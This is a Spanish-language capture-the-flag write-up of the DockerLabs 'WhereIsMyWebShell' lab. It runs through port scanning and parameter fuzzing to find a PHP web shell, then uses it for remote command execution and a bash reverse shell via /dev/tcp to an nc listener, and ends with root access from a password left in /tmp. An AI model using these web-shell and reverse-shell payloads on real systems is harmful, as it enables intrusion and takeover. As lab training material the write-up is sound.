WhereIsMyWebShell
DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/whereismywebshell:-$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.092 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.092/0.092/0.092/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/dockerlabs/whereismywebshell:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.2 -n -Pn -oG nmap1
Host: 172.17.0.2 () Status: Up
Host: 172.17.0.2 () Ports: 80/open/tcp//http/// Ignored State: closed (65534)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
/home/kali/Documents/dockerlabs/whereismywebshell:-$ sudo nmap -sCV -p80 -vvv 172.17.0.2 -oN nmap2
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
MAC Address: 02:42:AC:11:00:02 (Unknown)
1
http://172.17.0.2 [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Academia de Inglés (Inglis Academi)]
Web Analysis
El servicio web se presenta con una interfaz sencilla y sin funcionalidades visibles.
Al final del sitio se encuentra una posible pista.
Utilizo dirb para realizar un escaneo de extensiones comunes de configuración y scripts.
1
2
3
4
/home/kali/Documents/dockerlabs/whereismywebshell:-$ dirb http://172.17.0.2/ -X .md,.txt,.php,.conf,.html
---- Scanning URL: http://172.17.0.2/ ----
+ http://172.17.0.2/index.html (CODE:200|SIZE:2510)
+ http://172.17.0.2/shell.php (CODE:500|SIZE:0)
El escaneo revela un archivo potencialmente vulnerable shell.php
. Este script podría permitir la ejecución de comandos arbitrarios.
Utilizo wfuzz para identificar parámetros válidos que puedan ser explotados dentro del archivo shell.php
.
1
2
3
4
5
/home/kali/Documents/dockerlabs/whereismywebshell:-$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.2/shell.php?FUZZ=id -t 200 --hc 404 --hw 227,0
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000115401: 200 2 L 4 W 66 Ch "parameter"
El parámetro parameter
responde con código 200 y diferencias en el contenido, lo que indica su procesamiento por parte del script. Y por web, confirmo la presencia de ejecución remota de comandos.
Foothold
1
2
3
/home/kali/Documents/dockerlabs/whereismywebshell:-$ curl http://172.17.0.2/shell.php?parameter=id
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
1
2
3
4
5
6
/home/kali/Documents/dockerlabs/whereismywebshell:-$ curl http://172.17.0.2/shell.php?parameter=cat%20shell.php
<pre><?php
echo "<pre>" . shell_exec($_REQUEST['parameter']) . "</pre>";
?>
</pre>
Esta vulnerabilidad me permite establecer una reverse shell utilizando bash.
- Se inicia una escucha con netcat en la máquina atacante.
- Luego se invoca el payload para obtener acceso interactivo al servidor.
1
2
3
4
5
6
7
8
/home/kali/Documents/dockerlabs/whereismywebshell:-$ sudo nc -nvlp 4321
listening on [any] 4321 ...
/home/kali/Documents/dockerlabs/whereismywebshell:-$ curl http://172.17.0.2/shell.php?parameter=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F4321%200%3E%261%22
... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 36708
www-data@83d254f24abc:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Se configura una pseudo-terminal interactiva para mejorar la estabilidad de la sesión.
1
2
3
4
5
6
7
8
9
www-data@83d254f24abc:/var/www/html$ script /dev/null -c bash
www-data@83d254f24abc:/var/www/html$ ^Z
/home/kali/Documents/dockerlabs/whereismywebshell:-$ stty raw -echo;fg
[1] + continued nc -nvlp 4321
reset xterm
www-data@83d254f24abc:/var/www/html$ export TERM=xterm
www-data@83d254f24abc:/var/www/html$ export SHELL=bash
Enumero usuarios válidos del sistema mediante el archivo /etc/passwd
, buscando aquellos con acceso a shells interactivos.
1
2
www-data@83d254f24abc:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
Teniendo en cuenta ls pista anterior, se inspecciona el directorio /tmp
y se localiza un archivo oculto que contiene una contraseña.
1
2
www-data@83d254f24abc:/$ cat /tmp/.secret.txt
contraseñaderoot123
Finalmente, esta contraseña me proporciona acceso al usuario root
.
1
2
3
4
5
www-data@83d254f24abc:/$ su root
Password: contraseñaderoot123
root@83d254f24abc:/# id
uid=0(root) gid=0(root) groups=0(root)